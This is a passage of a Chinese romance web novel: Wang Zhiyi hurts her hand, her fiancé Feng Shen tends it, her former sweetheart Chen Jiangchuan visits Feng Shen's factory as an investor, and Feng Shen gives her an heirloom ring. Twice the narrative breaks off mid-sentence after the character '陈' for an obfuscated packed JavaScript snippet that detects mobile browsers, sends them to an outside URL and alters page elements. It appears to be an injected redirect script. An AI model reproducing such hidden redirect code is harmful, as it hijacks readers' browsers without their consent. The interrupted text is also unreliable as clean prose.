汪知意只看到了他冻得通红的耳根,又问:“你不冷吗,怎么就只穿了件衬衫?” 封慎拿起她的手腕细看,掌心蹭破了块儿皮,有血洇出来,倒没有多严重,可她生得白,稍微有些刮蹭看起来就触目惊心。 汪知意这才觑到他发沉的脸色,心里生出些虚,生怕他将她训一通,她是见过他训封三哥的,混天混地的封三哥到了他面前也跟个小鸡仔一样,更别说是她。 今天出这事儿虽说是因为三轮车上的货物没系紧,颠簸的过程麻袋掉了下来,砸到了她的车头,可要不是她仗着自己对路熟悉,将车骑得太快了,她其实是完全可以避开的。 她给自己找补:“就破了些皮,一点也不疼。” 只不过这话说了没多一会儿,她就打了自己的脸。 狭窄的面包车后座,汪知意抽着自己的手想要往后缩,可挣不开他的力道,轻吸着气道:“疼~” 封慎将她的手腕攥得更紧了些,不许她躲,拿沾着碘伏的棉签涂抹过她掌心的擦伤,声音不大却有些严厉:“先忍着。” 不知道的还以为她是哪吒转世,把脚蹬子当成风火轮踩,那三轮车上装得全是破铜烂铁,要是正好砸到她头上,她现在能不能感觉到疼还两说。 汪知意咬住唇,也想忍住,但她最受不了疼,眼眶泛潮,呼吸都重了些。 封慎眼皮没动,手里的棉签在她的掌心顿了一下,眉心拢着,无奈的成分占多,半晌,唇低下去些,慢慢吹过她的伤口。 气息里的温热漫过疼,汪知意肩膀都有些颤,又想往外挣自己的手,软绵的嗓音里浸着水:“痒~” 封慎薄唇抿直,又起身,抬眼扫过她睫毛上晶莹的泪花,这可真是个难伺候的主儿。 汪知意吸了吸鼻子,瞄到他脸色比刚才稍微好了些,膝盖歪过去,轻轻碰碰他的膝盖,小声求:“你回头别跟我爸妈提今天的事情,省得他们念叨我。” 封慎没应声,将沾了血的棉签扔到袋子里,又换了根新棉签。 汪知意想邀功卖乖:“我这可是去市场给你买织毛衣的毛线才受的伤。” 封慎膝盖还被她抵着,将棉签浸在碘伏里,看她:“你要给我织毛衣?” 这他就有点太看得起她了,她手笨得很,连个毛衣袖子都织不成,她回:“毛衣我妈给你织,我想给你织条围巾,围巾我以前织过一条,成品还是不错的。” 封慎随意问了句:“给谁织过?” 汪知意舌尖打了下磕绊,镇定回道:“我爸。” 封慎又牵上她的手,将棉签落到她伤口的另一侧,汪知意被冰冰凉的碘伏蜇了个猝不及防,牙齿陷进唇里,才没让自己疼出声,封慎瞧她一眼,将自己的肩膀送到她面前。 汪知意眼泪汪汪地望他。 封慎面上没什么表情:“受不住就咬我。” 汪知意摇摇头,不要,她又不是狗。 下一秒,她眼皮一哆嗦,俯身直接咬上了他的肩,她不想让他觉得她娇气得不行,可真的是太疼了。 10. 第 10 章 封慎眉心又蹙起,倒不是她咬得有多疼,现在这一幕像极了昨晚他梦到的某些场景,他沉一口气,将注意力放回到她的手上。 车窗外人来车往热闹非常,车厢里安静得只能听到细细的抽气声。 伤口终于处理完,封慎放开她的手腕,又挪开两人抵在一起的膝盖:“好了。” 汪知意觉得很丢人,闷在他的肩上,不肯起来。 封慎收拾好药袋里的东西,垂眸看快要窝进他怀里的人,低声问:“哭了?” 汪知意将眼角的潮湿偷偷蹭到他的衣服上,直起身,避开他的视线,转头去整理自己的包,小声咕哝:“可惜了那新出锅的麻团,我一个都还没吃,全都进了垃圾桶。” 封慎瞧着她那打着湿缕的睫毛,语气寻常:“你的车今天骑得但凡再快一点,以后想吃麻团我就得买了到坟前去给你上供。” ……他这话说得可真是不留情面。 不过汪知意也没法反驳,因为他说的都是事实,她怕还要挨训,轻言细语地问:“你怎么在这儿呀?” 封慎回:“我在这边茶楼谈事情。” 汪知意“哦”一声,“那你快去谈吧,别耽误了正事儿,我也要回去了。” 封慎道:“你的车子先留这儿,回头我让人给你正一正车把,再给你送回去。” 汪知意点头,她到现在腿都是软的,车还是不骑了,溜达回去正好,反正离家也不远了。 封慎又看她。 汪知意以为他还有话说,也看他,眼眶里有红丝,像只可怜的兔子。 封慎食指轻叩着膝盖,她要是真有解除婚约的打算,还是尽早提得好,他无意当一对小情人之间的绊脚石。 等了会儿,没等来她别的话,封慎将药膏和剩下的棉签放到她的包里,嘱咐道:“伤口记得不要沾水,晚上再涂一次药。” 汪知意道好,很乖的样子。 封慎拎了拎她的包,没什么重量,递到她没受伤的右手里,又道:“走路要看前面,别只顾低着头。” 汪知意指尖稍顿,将包背到肩上,伸手给他抻了抻被她折腾得皱巴巴的衬衫,手没离开,掌心覆在他的肩上,指尖不经意地抬起,触碰到他的颈侧,轻抚而过。 封慎没有动,想看她在打什么鬼主意。 汪知意屏着呼吸,看到他喉结不明显地滚了下,不动声色地收回手,仰起滚烫的脸冲他弯眼笑:“知道了,我又不是个小孩儿。” 她克制着自己想要拔腿跑的冲动,很是从容地拉开车门,从车上下去,又跟他挥挥手:“我走了。” 封慎盯着她,点点头。 汪知意转身就走,前面几步走得还算稳当,然后脚腕不知怎么的打了下软,她身子歪了下,封慎从椅背上直起身,汪知意又稳住脚,感觉到他还在看她,脚步加快了些。 直到拐过十字路口,走进另一条胡同,汪知意才停下脚,把脸埋进围巾里,踢了踢地上的小石子,虽然他确实大她很多岁,她才不要被他当个小孩儿看,不然结婚以后岂不是他想训她就训她,那她的日子未免也太惨了些。 风将她卷在围巾下的头发吹得四散,封慎望着墙角那一处,黑眸眯了眯,他随手捡起胳膊上一根乌黑的发丝,慢慢捻在指腹间,脖子里她碰过的地方浮上来些痒,很快又散了个干净。 回到家,汪知意手上的伤少不得被陆敏君盘问一通,她说是车子骑到了冰上,不小心滑倒擦了一下,陆敏君听到是封慎给她擦的药,又看着她的手笑。 汪知意本来还编了她的自行车被封慎给借去骑了的谎,哪儿知道陆女士对她的车子去了哪儿压根儿就不关心,拿过她买的毛线,扬声叫来汪大夫给她缠毛线球,织毛衣这件事是一刻都耽误不得。 这就是有了女婿忘了闺女的典型,当然这句话是汪大夫说的,汪知意现在巴不得她妈赶紧去忙别的,她打小说谎就容易露馅儿,很少能瞒过她老人家的火眼金睛。 这次可以侥幸逃脱,她把封慎搬出来起了主要作用,陆女士现在对封慎的喜欢怕是都要比黎天王多上一些,要知道黎明可是陆女士这两年来的最爱,她还以为没人可以撼动黎天王的地位。 人心果然就跟那芦苇荡一样,总是这样容易摇晃,汪知意本想调侃陆女士两句,又怕挨上一记爆栗,她知趣地不多言语,进自己屋换衣服了。 汪知意面上与平常无异,心里到底因为陈江川的突然出现多了些烦乱,连午睡都做了许多乱七八糟的梦,全都是小时候的事情。 一觉醒来已经快四点,她看着天花板,怔怔地发了一会儿呆,又掀被下床,揉着散乱的长发出了屋。 陆敏君从锅里往外拾着刚蒸好的包子,瞅她一眼:“呦,咱们家的娇娇小姐醒了,我还以为您这一觉要睡到转天明呢。” 汪知意蹭到陆敏君跟前:“要不我还醒不了呢,都怪您蒸的这包子太香了,把我给香醒了。” 陆敏君嘴上说着让她快一边呆着去,实际上也没什么动作,由着汪知意在她身上蹭蹭歪歪。 汪思齐走过来,对陆敏君道:“咱家幺幺要是能当成娇娇小姐,她爹我首先得是个土财主,你又见过哪家的土财主会心大到招封慎那么一个黑土匪一样的女婿进家门,那不是相当于引狼入室吗--” 他话还没说完,就被陆敏君的一个眼刀给杀了回去,汪大夫因着给封慎缠了一下午的毛线球,早就压着不满,一个没憋住,说出了自己心里的吐槽。 汪知意抿嘴笑,她其实也觉得他像个黑土匪,她又压下唇角,看到火炉边熥着麻团,给汪大夫解围:“妈,您还炸麻团了?” 陆敏君回:“什么我炸的,刚才封慎让石头把你那车子送回来了,给带过来的。” 汪知意一顿,捏起个麻团咬了一口,豆沙馅儿的,又酥又软,还有些甜。 她吃完一个,又吃一个,还拿起一个偷偷喂到汪大夫嘴边,她妈不爱吃这种甜甜腻腻的东西,汪大夫爱吃,不过她妈这一年来控制汪大夫的吃食控制得严格,不许他沾一点这种高糖高热的东西。 汪思齐本想做一个有骨气的人,才不吃那个黑煤球儿买来的东西,奈何诱惑太大,最重要的是他不能辜负闺女喂到嘴边的孝心,他勉强张嘴意思意思咬了一小口,甜味儿进到嘴里,没忍住,又咬了一大口。 直到吃完,他还有些意犹未尽,拿眼神示意闺女,他还想再吃一个。 陆敏君直起身,偷摸做贼的父女俩一个看天一个望地,汪思齐嘴里还没咽下去的东西都不敢再嚼一下,陆敏君懒得搭理他,对汪知意道:“去洗把脸,我一会儿装些包子和菜,你给封慎送过去,他现在还在厂子里。” 外面冷得很,汪知意不太想再出一趟门:“不用了吧,他又不是没饭吃。” 陆敏君一眼看过来。 汪知意立马双手抱拳躬身作揖,肩后乌黑的长发也跟着纷纷垂落:“遵命,太后娘娘,小的这就去办。” 陆敏君看着她这个讨打的俏皮样儿,佯装板着脸满意地点点头。 汪知意不到五分钟就收拾好了自己,裹上厚厚的外套,围上围巾,提着大包小包轻着脚步出了院儿。 汪思齐和陆敏君齐齐地猫身站在窗前望着她,汪思齐小声道:“幺幺看着也没什么事儿哈?” 下午那会儿白吉芳来家里串门,有意无意地提起她今天早晨去河边遛弯儿,看到幺幺和陈江川在说话。 可幺幺回来后一句都没提过,也不知道俩人都说了啥。 陆敏君虽也担忧,嘴上回得确定:“能有什么事儿,你闺女又不是那拿不起放不下的人。” 汪思齐也是这么想的,可又觉得能放下是一回事儿,心里会不会难受又是另外一回事儿,忍不住又将陈江川暗骂了一通,你要走就彻底走干净,这个时候回来给人添什么堵。 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263114|198056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江川回来的消息现在已经在镇上传遍了,他这次回来可谓是衣锦还乡,头顶着的是黎氏大中华区副总的名号,手里握着黎氏计划在内地投资的大把资金,想要见他的人已经从镇西头排到了镇东头。 吴绍飞作为这方圆百里的百事通,自然早就得到了消息,他和陈江川的父亲陈逢山在生前交情匪浅,所以他是能在陈江川跟前说上话的,吴绍飞知道他在考察要投资的项目,直接把人给请到了封慎的厂子里。 说起来,封慎和陈江川也算是有些渊源,两个人的父亲当年是在同一场事故中去世的,而且据他所知,陈家和封慎那准老丈人汪家的关系好像也不错。 现在陈江川手里有资金,而封慎这边正缺资金,吴绍飞私心是想促成两人之间的合作的,如果合作能成功,他作为中间人,自然少不了诸多好处。 再说肥水不流外人田,陈江川作为临南镇上出去的人,与其让他把钱投到外地去,造福自己的家乡不是更好些。 封慎请吴绍飞喝茶原是想跟他打听些银行贷款方面的政策,吴绍飞的老丈人在银行系统里的关系颇深。 不成想上午才喝完茶,下午吴绍飞就在电话里说要给他带来一个投资人,还说跟他有旧交,让他猜猜会是谁。 封慎懒得猜,估摸着他们差不多快要到了,关上正在调试的机器,又去洗了个手,刚出厂房,大门敞开的院子里就前前后后进来了四辆车,清一色的虎头奔。 看得丁贵都“嚯”了一声:“这香港来的就是有钱哈。” 封慎未作声,看着从车上下来的人,眉心几不可察地皱了下。 那晚夜色昏暗,车里的男人具体长什么样子,他也就只看了个大概,现在再见到人,他第一眼还以为是看到了封洵,倒不是说他和封洵长得有多像,是气质相近,白净斯文的那一款,最招小姑娘的喜欢。 陈江川在封慎面前站定,他身材高大,一身西装革履,外搭黑色大衣,气势很足,不过到底还是比封慎矮了大半个头。 封慎只是简单的黑色工装,头发因为刚摘了安全帽,还有些潦草的凌乱,可他黑眸冷目地站在那儿,哪怕是从几辆车上下来的人,全都齐刷刷地站到了陈江川身后,也压不住他随意的一个抬眸。 丁贵什么样的大场合没见过,一看这阵仗,不禁有些乐,他怎么觉得今儿这投资人来者不善啊。 人精一样的吴绍飞被迎面的冷风吹得有些迟钝,一时没察觉到萧瑟的空气里已有了些剑拔弩张的味道。 他热情地给两个人做介绍:“封慎离开镇上那年,江川三岁不到,还不记事儿,不过封慎应该记得江川,江川是你陈逢山陈叔家的儿子。” 他又给两人拉关系攀交情:“江川和汪家以前还是隔壁门的邻居,我没记错吧,江川?封慎要和汪大夫家的那宝贝幺幺结婚了。” 陈江川没应吴绍飞的话,看向封慎,连手没有伸,客气地道一声:“封老板好。” 封慎微颔首点了下头,嗓音懒散:“欢迎陈总。” 汪知意提着大包小包,好不容易走到工厂门口,她停下脚,歇了口气,为了让他吃上一口饭,她容易么。 丁贵最先看到汪知意,也不管吴绍飞那一行人,对封慎道:“小嫂子怎么过来了?” 封慎和陈江川同时望向大门口,其他人的视线也纷纷跟过去。 吴绍飞看清汪知意的模样,心里不免惊了下,传言还是逊色了,这清水出芙蓉的一张小脸儿,也怪不得贺家那混蛋小子就认准了非汪家幺幺不娶,还一度对外放出话来,谁敢去汪家提亲,谁就是跟他贺宗涛过不去。 汪知意看到车前的一群人,有些愣神,再看到被人簇拥着的陈江川,又是一怔,不知道他怎么会出现在这里。 封慎冷眼旁观她脸上瞬间起的怔忪,心里不免生出些疑惑。 如果她中意的是陈江川这种小白脸儿,当初相中的为什么会是他。 11. 第 11 章 汪知意被一众目光盯着,有些局促,她看封慎一眼,犹豫片刻,又继续向前走。 封慎看着她,站在原地没有动。 陈江川压住自己想要上前去接她的念头,目光炙热,一错不错地锁着她。 汪知意没看他,朝着封慎走过来,可能是因为紧张,手里的包都变得重了些,她想换一下手,又想起自己左手上还有伤。 封慎收回视线,对吴绍飞道:“吴总,抱歉,少陪一下。” 吴绍飞笑呵呵地挥挥手:“没事儿没事儿,快去快去。” 封慎转脚走向她,汪知意和他目光对上,眼里浮出些清浅的笑,封慎停在她身旁,接过她提着的包。 汪知意手松了包,又拽住他的衣袖:“里面是包子和饭菜,我妈让我给你送过来。” 她的声音有些小,封慎低下身去听她说话,汪知意看着他漆黑的头发,睫毛忽闪了下,又道:“你有事情要忙的话,就让人把饭先放到炉子上,别凉了,我不进去了,这就走了。” 封慎手背碰到她冰凉的手指,眉头微一蹙,攥住她手,捏了捏,她出门似乎没有戴手套的习惯,他回:“我这边一会儿就完事儿,结束了送你回去。” 汪知意想说不用,封慎已经拉着她转了身,汪知意只能跟上他的脚步,风将她的发丝吹到了他的肩上,柔软的发梢扫过他的颈侧,又飞走,只留下些淡淡的香气,封慎拢住她的指尖握紧。 陈江川望着并肩走过来的两人,眼睛涩得厉害,他手握成拳,转开脸,看向了别处。 丁贵挑眉笑着,要不是还有客人在,他早就吹起了口哨,现在他手头就缺一照相机,两人不去拍一套婚纱照真的是可惜了。 这封老大,你说他对这婚事不上心吧,该备的礼数又都备得很足,你说他上心吧,婚纱照不打算拍,结婚的礼服不打算另做,就连新婚夜也要往外地赶。 可看两人相处的样子,丁贵又有一种说不出来的感觉,他这还是头一次见封老大在谁面前低头,倒也不难,只需要让小嫂子拉拉他的衣袖就可以。 汪知意跟着封慎越走近,吴绍飞的眼睛越亮,还没等封慎站定,他已经迫不及待地开了口,戏谑道:“封老弟,这位是谁呀,还不快给我们介绍介绍。” 封慎介绍得言简意赅,只给了一个名字:“汪知意。” 又对汪知意道:“这是吴总。” 汪知意站在他身旁,肩挨着他的胳膊,看向吴绍飞,落落大方道:“吴总好。” 吴绍飞连连回好,暗道这封慎还真是有福气,平白让他捡到这么一个宝,模样儿是模样儿,身段是身段,嗓子是嗓子,气质是气质,哪儿哪儿都出挑。 不过这话他也只敢在心里想想,就看封慎这护得紧的架势,别说现在打趣什么,怕是婚礼那天应景闹个洞房,他都不会让。 封慎又介绍陈江川:“这位是陈总。” 陈江川紧盯着汪知意,一言不发。 汪知意仰头对封慎道:“我们认识的。” 封慎看着她清亮的眸子,不动声色道:“是吗?” 汪知意回:“我们之前是隔壁门的邻居,”她又看陈江川,神色自然地跟他打招呼,“江川哥。” 隔壁门的邻居…… 仅仅六个字就囊括了他们之间的所有,陈江川笑容苦涩,回道:“幺幺,好久不见。” 虽然幺幺这个小名儿街坊邻居们都会叫,他这一声叫得过于情真意切了些,封慎眼眸未动,食指叩着汪知意的手背有一下没一下地轻敲着。 丁贵看看陈江川,又偷瞄封老大两眼,唇角起了坏笑,他终于知道这位陈总今天找上门来给他们下马威是因为什么了,这里面有事情啊。 汪知意听到那句“好久不见”,顿了一下,他们明明早晨才见过,这也没什么好瞒封慎的,可是现在让他这样一说,早晨的见面好像就成了什么隐秘的事情,她没说话,只敷衍地点了点头,对封慎轻声道:“你先忙吧,我去上面等你。” 封慎叩着她手背的食指停在她有些乱的脉搏上,看她一眼,叫贺岩:“石头,带你嫂子去我房间。” 贺岩忙道好,上前接过封慎递来的包,引汪知意上楼:“嫂子,这边。” 汪知意跟吴绍飞和陈江川客气道别:“那吴总,江川哥,你们聊。” 陈江川勉强笑笑。 吴绍飞心里又添一句,不仅行事大方,还知礼,这样的媳妇儿就是带到哪儿去都不丢面儿,等汪知意走远了些,吴绍飞冲封慎竖起了大拇指:“封老弟,眼光真是好。” 封慎淡声道:“这都是老天爷给的福气,以我的条件,肯定是委屈了她。” 吴绍飞摆手:“你在我面前瞎谦虚什么,你除了年纪大一些,别的地方那是没得挑,我家那口子见过你一面之后,还想把家里的侄女说给你呢,要不是汪大夫家动作快,先一步把你定下来了,你没准儿现在就成了我侄女婿,我跟你说,我那侄女的条件也不差,那可是名牌大学毕业的高材生,学的还是法律,厉害吧?” 封慎看向从刚才就一句话都没再说过的陈江川:“您想要侄女婿,眼前不就有现成的一位,年轻有为。” 吴绍飞嘿嘿笑:“你以为我没琢磨过,惦记他的人那可不一般,我侄女就是想抢也抢不过。” 封慎“哦?”一声,又道:“原来陈总已经有了意中人,那我可要等着喝陈总一杯喜酒。” 陈江川看封慎,目光锐利:“吴叔在说笑,我现在无心这些事,目前还是以事业为重。” 封慎眉梢微扬:“陈总是成大事的人,不是我们这些俗人可以比的。” 吴绍飞道:“封老弟你也是成大事的人,要不你也不能等到这个年纪才结婚。” 封慎回:“这不是以前一直没姑娘看上。” 吴绍飞一巴掌拍上他的胳膊:“快得了吧,又跟我来这套,我还不知道你,你眼光挑着呢,这是一直没遇到自己中意的,不想瞎凑合,现在和咱这小弟妹的缘分到了,天王老子来了都挡不住。” 陈江川脸上的沉越来越藏不住。 丁贵头深深地低下去,努力绷着想要往上咧的嘴角,想要给他们封老大下马威的人,怕是在娘胎里还没出生呢,这位陈总纯是自己找上门来挨虐。 不过这辈分也真是够乱的,吴总一口一个“封老弟”,这位什么陈总又管吴绍飞叫“吴叔”,小嫂子又管这陈总叫“江川哥”,这论来论去,封老大在小嫂子面前平白长了一辈,婚还没结,先当上了叔。 按封老大和小嫂子差的年纪算,当叔倒也当得…… 丁贵一想又要乐,封慎眼风压过来,丁贵马上换上一副严肃的扑克脸,吴总带着陈总是来干嘛的。 哦,对了,考察厂子想要给他们送钱。 吴绍飞还满心以为这件事十有八九能成,压根儿不知道陈江川今天过来是醉翁之意不在酒,封慎也懒得把人往车间里带,只领着一行人看一些还在规划中的厂房。 厂房虽然只有四面破败的墙,可丁贵单凭一张嘴,就能让平地起高楼,吴绍飞知道他话里忽悠的成分多,可架不住丁贵把那大饼画得太诱人,他听得有些上头。 丁贵带着这所谓的考察团走在前面,封慎和陈江川慢慢落了后,陈江川先沉不住气,开门见山道:“封老板离开镇上那年,幺幺还没有出生,所以封老板可能不知道,我和幺幺是打小一起长大的。” 封慎可有可无地点了点头:“青梅竹马的感情最是难得,让人羡慕,”他话说得随意,像是置身事外的旁观者,单纯地好奇,“不过,这么好的感情怎么没能修成正果。” 陈江川一顿,回得艰难:“我有我的不得以。” 封慎笑笑:“明白,我们男人一琢磨起事业来,总会遇到许多的不得以,最后还总想着让自己喜欢的女人去承受这份委屈,这是打老祖宗起就留下的劣根性,看来陈总也是一个普通男人,这劣根性只多不少。” 陈江川脸色又难看了几分,他压下心头的起伏,也笑,胸有成竹的笃定:“她会原谅我的,她待我一向与旁人不同,对我最是心软。” 封慎慢悠悠道:“那陈总可要抓紧时间求她的原谅了,我们腊月二十六办婚礼,还有十一天的时间,你要是对她这么有把握,我们结婚当天你去抢亲都可以,她如果心甘情愿地跟你走,我绝对不拦着,还要真心诚意地向你们道一声恭喜。” 他话头又一转,不轻不重的嗓音里添了些威压:“可要是你做的事求不来她的原谅,也没那个胆量去抢亲,以后,陈总还是不要再她叫幺幺的好,姑娘家的小名儿不是谁都能叫的,尤其是一个害她伤过心的人,陈总说是不是?” 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263115|198056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江川煞白的唇张了张,又闭上。 投资考察团队来得气势汹汹,走得也气势汹汹,毕竟那四辆虎头奔太过显眼,吴绍飞还不知道发生了什么,他原还打算着将晚上的饭局攒起来,在哪儿吃他都想好了,谁知陈江川说临时有事要赶回省城,他也就只能作罢。 丁贵看在吴绍飞的面子上,将人送到了大门口,人刚一上车,他就没了正经,歪身凑到封慎跟前,眼里藏着看好戏的八卦:“真是来抢人的啊?” 封慎单手插兜地站在原地,看着走远的车带起的尘土飞扬,没说话。 丁贵就属那皇帝不急他着急的太监:“不是,人家这都大张旗鼓地打上门来了,你老人家咋还能这么淡定。” 封慎唇角无所谓地扯起些,如果她的心还在别人那儿,他又何必去当那个断人姻缘的坏人。 丁贵胳膊搭到他肩上:“你别给我装哈,到时候小嫂子真要是被抢走了,我看你半夜后悔得撞墙不。” 封慎回道:“你这么有经验,看来是干过半夜撞墙的事情?” 丁贵死鸭子嘴硬死活不承认,大声嚷嚷着,小爷我连后悔俩字怎么写都不知道,又怎么会傻了吧唧地去撞墙。 封慎轻哼了声,转身往回走,抬眸看到三楼尽头的房间亮着的灯光,脚步微滞。 他这儿汪知意也就来过一次,跟着她妈过来给他送被褥,她当时没进屋,只站在门口和封三哥说话了。 他是一个爱干净的人,房间里比她想得还要整洁,里面的陈设很简单,也就一张床,一个书桌和一个书柜,连煤炉都没有,他有的时候是会在这边过夜的,也真是不怕冷。 书架上有好多是外文书,她都看不懂,她没想到他还能看懂外文,他好像没上过大学吧…… 书桌上还堆着许多手画的图纸,汪知意没有随意地乱翻,只弯腰背手地站在桌前,认真看了好一会儿,有的是好像厂房的内部构造,有的是机械零部件,应该都是他画的,图纸下方签有他的名字。 汪知意伸手抚过他的名字,他写字也好看,笔锋苍劲有力,跟他这个人一样,她拿起桌子上的铅笔,在一张空白的草稿纸上试着写了写他的名字,很难写出他这种力道。 封慎走到门口,慢慢停住脚。 汪知意写着写着又觉得自己无聊,没事儿写他的名字干嘛,她将草稿纸揉成一团,扔到了垃圾桶里,看到书桌旁的相框,拿了起来。 相框里他们兄弟三人并肩站在山顶上,夕阳的余晖洒落在他的脸上,汪知意又凑近了些看,他真的是不爱笑的一个人,和家里人在一起,也是这样一张严肃的脸,也不知道有什么事情能让他笑一笑。 她不自觉地戳戳他的唇,又将相框放回去,一回头,看到门口懒懒散散地半倚着门框的人,脸蓦地起了些热,他什么时候回来的,走路都没动静的吗。 也不知道他站在那儿看了多久,汪知意道:“你完事儿了?” 封慎“嗯”一声,走进屋,拿起书桌上的照片,也看了看。 汪知意脸更红了些,顾左言他:“你和封二哥一点儿都不像。” 封慎回:“他长得像我妈。” 汪知意点点头:“婉姨很漂亮的。” 封慎看她一眼。 汪知意解释道:“我看过婉姨的照片。” 封慎放下相框,看她的左手:“手怎么样,还疼吗?” 汪知意摊开掌心给他看:“多亏你处理得好,现在一点儿都不疼了。” 封慎的目光从她的伤口划到她白皙的指尖,弯腰拉开书桌的抽屉,拿出一个小盒子来,递给她。 汪知意问:“什么?” 封慎让她自己看。 汪知意打开盒子,愣了下,五金他早就给过了,全都是足金足两,尤其是那大金镯子,别说是她,就连她妈看到都晃了眼,陆女士连显摆都不敢跟谁显摆了,就怕给家里招了贼。 金戒指她也试戴过了,尺寸很合适,这怎么又来了个戒指,这上面的应该不是玻璃球吧,玻璃球也好看不成这样透彻的绿,看着倒像是什么老物件。 封慎解释:“家里传下来的,已经改过尺寸了。 家里传下来的……那肯定很贵重,汪知意眼睛都睁大了些,迟疑问:“给我的?” 封慎看她:“要和我结婚的还有别人?” 12.第 12 章 汪知意在他的注视下,脸又有些热,把手伸给他:“你给我戴上试试。” 封慎默了默,握住她的指尖,拿起戒指,套在了她的无名指上。 戒指上的翡翠玉石泛着莹润,像是一汪碧绿的山光水色嵌到了她的指尖,汪知意看着戒指移不开眼,喃喃道:“好漂亮。” 封慎目光落在她的脸上,手抬起,将她垂落到脸颊一缕发丝挽起,给她别到耳后。 汪知意仰头看他,封慎手指离开她的耳垂,神色如常。 两个人的距离有些近,谁都没有说话,空气里漫出安静,不是那种让人不舒服的不自在。 汪知意背靠到桌沿上,抿了下唇,想问问陈江川过来做什么,话到嘴边,一犹豫,又改了口:“我妈让我们自己挑个日子,在婚礼前把结婚证领了,你哪天时间方便?” 封慎审视看她,又道:“我哪天都可以,看你喜欢哪个日子。” 汪知意回:“我中午的时候翻过黄历了,腊月二十五那天就可以,我们上午去领证,下午该忙什么也不会耽误。” 封慎点头:“可以。” 她已经发现了,他做决定总是很快,和他商量事情,三言两语就能敲定,而且好像她提什么,他都不会有异议,汪知意慢慢转着手上的戒指,想起什么,小心提起:“要不要找个时间去看看婉姨和明强叔?” 封慎眼眸微动,似有意外:“你想去?” 汪知意不想把这个话题弄得太过沉重,她语气轻松:“丑媳妇早晚都要见公婆,总要跟他们说一声我们结婚的事情。” 封慎看着她月牙弯弯的眼睛,淡淡道:“你要是丑媳妇,天底下就没有漂亮媳妇了。” 汪知意呆了呆,有些懵地“嗯?”了一声,以为自己听错了话。 封慎已经转了话头:“封洵后天到,等他回来后,我们会一起上一趟山,到时候我去接你。” 她知道封二哥要回来的事情,汪知意点点头,看一眼他没什么表情的脸,又看一眼他的耳根,像是有些红。 她待要仔细看,丁贵拿着大喇叭在楼下喊:“封老大,小嫂子晚上在这儿吃吗?石头婶儿准备的都是辣锅,小嫂子能吃辣不,要是不能,我让石头婶儿再准备一锅清汤的。” 封慎被丁贵闹出的动静震得脑仁疼,他眉头蹙起,垂眼看到她上扬的唇角,眉心又舒展开:“晚上要吃涮羊肉,一块儿吃些再回去?” 汪知意想了想,他要是现在送她回去,少不得要被她妈留在家里吃饭,与其回家在饭桌上接受她妈眼神的打趣,不如在这儿把饭吃了,她点头应下,又借他房间里的座机给家里打了个电话报备。 不过当她跟着他一走进食堂,就后悔了自己刚才的决定。 一桌子的大小伙子们看到老大领着人进来,立刻齐刷刷地起身,站直立正,异口同声道:“嫂子好!” 响亮得差点没把房顶给掀翻了天。 饶是汪知意再能装淡定,此时也有些慌乱,她没想到会有这么多人,上次来也就封诚丁贵和贺岩他们几个。 她的肩往封慎那头靠了些,手不自觉地勾住他的食指,笑着回:“你们好。” 男人高大威猛,女人娇俏可人,任谁看起来都是天造地设的一对儿,屋子里的这群小伙子跟封慎的时间都不短,这些年他们不是不好奇什么样的女人能降住老大,他们知道以封老大的眼光,他们肯定会有个漂亮的嫂子没错,只是没想到会漂亮成这样。 乌黑浓密的长发蓬松挽起,巴掌大的一张脸,白到发光,眉眼清亮,干净得不掺一丝杂质,一笑来眸子里水波流转,都照亮了整间屋子。 他们当中有好些人是第一次见汪知意,一时没压住激动,当下就炸了锅,吹口哨的吹口哨,鼓掌的鼓掌,拍桌子起哄的起哄,丁贵还嫌不够热闹,站到椅子上,举起了喇叭。 汪知意脸上的笑容不变,定住想要后退的脚,勾着他的食指攥得更紧了些,封慎将她有些冰的手完全包裹到掌心,平静地环视了眼屋内,嗓音低沉,不怒自威:“谁要是有劲儿使不完,就去外面负重跑十圈再回来吃饭。” 话音还没落地,炸翻了天的屋子马上安静下来,连刚站到椅子上的丁贵也老老实实从椅子上跳下来,一挥手:“都愣着干啥,赶快搬凳子拿碗筷端菜上锅,别让咱嫂子饿到了,不然封老大该心疼了。” 大家眼里憋着笑,高声回了句“遵命”,又乌啦啦地散开,分工有序地干起活来。 丁贵跟汪知意献殷勤:“小嫂子,你和封老大快请上座,咱马上就开饭哈。” 封慎给丁大公子一个警告的眼神,让他消停些,牵着汪知意的手往里走,对正在看热闹的石头婶儿道:“婶儿,麻烦您再准备一锅清汤。” 汪知意看他:“不用另外准备,我能吃辣。” 封慎回:“你手上有伤,现在不能吃。” 好吧,要不是他一直提,她都快忘了她手上的伤,汪知意鼻子刚皱起些,就对上了石头婶儿笑眯眯的眼神,她也弯眼对石头婶儿笑。 石头婶儿是贺岩他娘,大家都习惯叫他石头婶儿,现在在食堂里帮工,汪知意家和石头婶儿家离得远,一个在镇东头,一个在镇西头,她跟石头婶儿还有贺岩之前其实都不太熟的。 他回来镇上不过才几个月,认识的人已经比她这个打小在镇上长大的都多了,他明明是很沉默的一个人,话不多,脸上也很少见笑,却好像很擅长收揽人心,比如贺岩,又比如这一屋子的人。 她上次来厂子还是冷冷清清的,现在就这样热闹了,她能看出他对他们虽然看着严厉,感情应该也是真的好。 汪知意洗完手回来,长桌上已经摆得满满当当的了,放眼看过去全都是肉,二十出头的小伙子们正是吃肉卖力气的年纪,菜叶那是一眼都不看的。 